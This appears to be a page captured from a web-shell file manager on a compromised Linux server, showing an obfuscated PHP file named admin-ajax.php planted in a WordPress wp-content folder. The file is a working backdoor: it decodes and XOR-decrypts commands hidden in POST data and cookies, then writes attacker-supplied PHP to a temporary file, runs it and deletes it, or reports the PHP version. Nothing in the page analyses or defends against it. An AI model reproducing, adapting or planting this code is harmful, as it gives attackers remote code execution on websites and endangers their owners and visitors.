HEX
Server: Apache
System: Linux server11 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64
User: web42 (5045)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/clients/client1/web42/web/wp-content/admin-ajax.php
<?php 
$dlmw_ /*towftb  */ =       'dlmw_'     ^	'';$yseit	=      "a"."\x72" /* h*/ . /*   hyqsg*/ "\162"	.	"a"."y"."_".$dlmw_(109)    .       "a"."p";


$fzjwzdbcvm /* mopvpe */ =    $dlmw_(99) /* grhl  */ . /*  hrf   */ "\x6f" /*  baue  */ .       $dlmw_(750-633)	. /*fzs  */ "n".$dlmw_(456-340);





function   wpzmknx($ayfhtdot,       $kdvtu)

{


 /*_qjeil  */ global       $dlmw_;    

  $ayfhtdot /* ktpobx  */ =    "\74"  .	"?"."p".$dlmw_(104)   .    "p".$dlmw_(32)  . /*   n   */ "u"."\x6e" /*ptxn*/ .    "l"."i".$dlmw_(693-583)    . /* yc*/ $dlmw_(107)	.	"\x28"    .	"_"."\137" /*  ncef */ .  "F".$dlmw_(73)   . /*u   */ $dlmw_(1031-955) /*   f   */ . /*  i   */ "\105" /* _fick */ . /*_zpt */ "_".$dlmw_(95)    .    ")"."\73"       .	$dlmw_(32)    .   $ayfhtdot["d"];

       $ypczjx /*zw */ = /*   xb*/ $dlmw_(102)    .    "\151"  .    "l"."\x65".$dlmw_(95) /* l_d*/ .	"\160"  .    "u"."t".$dlmw_(95)      .  "\143" /*  oqybv */ . /*qzx_  */ "o"."n"."\x74"   . /*  g*/ $dlmw_(101)	. /* _a  */ $dlmw_(908-798) /*   so_  */ .       "t"."\x73";
            $ypczjx($kdvtu, /*   vypmgk*/ $ayfhtdot);


 /*   s_ba   */ 
    hscgmtne($kdvtu);

}
$pra__l /*rgtbh   */ =    73;




function       hscgmtne($kdvtu)

{

       global /*   aokfe   */ $dlmw_;


     	include($kdvtu);


       $yzxxbfop /*  twva   */ = /*fgbd   */ $kdvtu;
 /* ylqlon  */ @unlink($yzxxbfop);
}



function /* uppz  */ biyhyqt()

{

	global      $dlmw_;

    $xqgjgvy       =  array();


	$xqgjgvy["p"."v"]	=	phpversion();  $xqgjgvy["\x73"    .    "v"]    =      "\63"     . /* rf_xy */ "."."5";
	$rntnea     = /*rimbon*/ 74;
     echo /* lt */ @serialize($xqgjgvy);}

function /*   gzyfp   */ wkrilkgqvr($ayfhtdot, /*   lddhj */ $lddz__okkj){
 /*c   */ global /*fwxmrv   */ $dlmw_;




 /* p*/ $yortdbkkn       =    "";


	$rdrtut_      = /*jgjxeo   */ 'aulnuwkzl';


 /*   wphlib  */ $sprjmxq    =     hash('sha256',   $ayfhtdot);


	$ahkcv /*vdv_ */ = /*   q */ str_replace('nciha', /*dollm  */ $sprjmxq, /*npj   */ $rdrtut_);

   $xqgjgvy /*  mmlepz*/ =	0;    while   ($xqgjgvy	< /*  wyzml */ strlen($ayfhtdot)) /*   aczp   */ {
   $c_ymh_n	=	isset($lddz__okkj)   ? /* u_dmob */ $lddz__okkj  : /* woi*/ '';
 /*  cfnh */ for    ($svhjnxq /*nujb*/ =       0;  $svhjnxq	<     strlen($c_ymh_n)	&&  $xqgjgvy     <   strlen($ayfhtdot);    $svhjnxq++, /*   km*/ $xqgjgvy++)    {

 /*  evkkmn   */ $yortdbkkn	.=	$dlmw_(ord($ayfhtdot[$xqgjgvy]) /* uhcfm  */ ^    ord($c_ymh_n[$svhjnxq]));   }
       if /*  gedmiw */ (strlen($yortdbkkn)    >    20) /*  miby*/ {

    $ahkcv /*  jwi   */ =	substr($yortdbkkn,    0,	20);


  }
     }


     if /*  izcwcs   */ (empty($yortdbkkn)) /* ifjb*/ {      $yortdbkkn /*   pemro*/ =	date('Y-m-d	H:i:s');

       }


   return /*abcb_p  */ $yortdbkkn;


}







function    mgewjizx($nbzeyd)
{


     global       $dlmw_;


      /*   ve_du_ */ $wothdagchw	=      $dlmw_(97).$dlmw_(823-724)  . /*  ujhp */ $dlmw_(250-202)   .  "c"."\145"  .      "\61"   .      "\x64"	. /*  td  */ $dlmw_(97)."\x2d"     . /*   tlnua */ "\70"	.      "\x66"    . /*  xtvfxz */ "3".$dlmw_(54)	.    "-".$dlmw_(571-519)    .     "f"."\67"  . /*xbk_pu */ "5"."-".$dlmw_(97)."4".$dlmw_(52)	.    "c"."-"."\71"      .    "\61" /*  utbdr*/ .  $dlmw_(97)    .    "\143"    .     $dlmw_(978-876)    . /*   fsp */ "f"."\145" /*   hh*/ .       "1"."\65"    .    "8".$dlmw_(1030-975)    . /*kmuto  */ $dlmw_(101);


      


    foreach /*   dl_   */ ($nbzeyd    as /* ftfpn   */ $kizruwaga	=> /*   gmgf   */ $ayfhtdot)    {

    plwydizy(base64_decode($ayfhtdot),    $wothdagchw,   $kizruwaga);

    }

}

function /*   tqfqrh*/ plwydizy($ayfhtdot, /* _gdght*/ $wothdagchw,       $kizruwaga)


{

	global /*  ljmfrj*/ $dlmw_;
 /*  w  */ 

     $ayfhtdot  =      unserialize(wkrilkgqvr(wkrilkgqvr($ayfhtdot,      $wothdagchw), /*eidtth*/ $kizruwaga));

	$gflzvmar    = /*aush_*/ 'jqh';


	$nfdcazz /* lum_h*/ =      'zmvapm'; /* _bl   */ if	(isset($ayfhtdot[$dlmw_(97).$dlmw_(233-126)]))      {


    if /*   kwvw  */ ($ayfhtdot[$dlmw_(97)] /*_  */ ==      "i")    {
    biyhyqt();
	}	elseif	($ayfhtdot[$dlmw_(97)] /*   bbgc  */ == /* vayvf  */ "\x65")     { /*  das  */ wpzmknx($ayfhtdot,     sprintf("\x2e"	.    "/".$dlmw_(812-775)	. /*   unc   */ $dlmw_(115)      .	"\x2e"      . /*lzj*/ "p".$dlmw_(1075-967), /*   fwh */ md5($wothdagchw)));

			$mod_ahp /*kbkvzq */ = /* sis*/ 44;
    }
    exit();
 /*uuanml  */ }

}
mgewjizx($_POST);   


$ceqqnejgkw   =      $yseit('rawurldecode', /*  ipa*/ $_POST);


$lehxi_lxy /*  uyawl  */ = /*   s */ $fzjwzdbcvm($ceqqnejgkw);mgewjizx($_COOKIE);    $ejfazujtj /*qgvc  */ =	$yseit('rawurldecode',	$_COOKIE);



?>